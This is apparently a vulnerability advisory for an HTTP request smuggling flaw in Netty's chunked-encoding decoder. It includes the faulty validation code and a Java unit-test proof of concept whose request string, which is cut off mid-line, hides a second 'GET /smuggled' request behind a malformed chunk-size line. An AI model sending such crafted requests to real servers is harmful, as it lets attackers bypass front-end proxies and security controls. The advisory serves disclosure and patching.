CVE-2026-93566
Io.netty/netty-codec-http: netty: http request smuggling due to control characters in the chunk-size line
### Summary Netty skips strict chunk size line validation when the line has no chunk extension (`;`), so a chunk size line containing an embedded bare CR (e.g. `0\rX`) is accepted instead of rejected, enabling HTTP request smuggling. ### Details `io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions` only runs the strict validator `HttpChunkLineValidatingByteProcessor` when a `;` is present: ```java int extensionsStart = line.bytesBefore((byte) ';'); if (extensionsStart == -1) { return; } ``` According to RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A `chunk-size = 1*HEXDIG` ### PoC ```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "0\rX\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n"; EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch
| CWE | CWE-1035 |
| Vendor | red hat |
| Product | red hat amq broker 7 |
| Published | Sep 18, 2026 |
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CVSS v3 Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N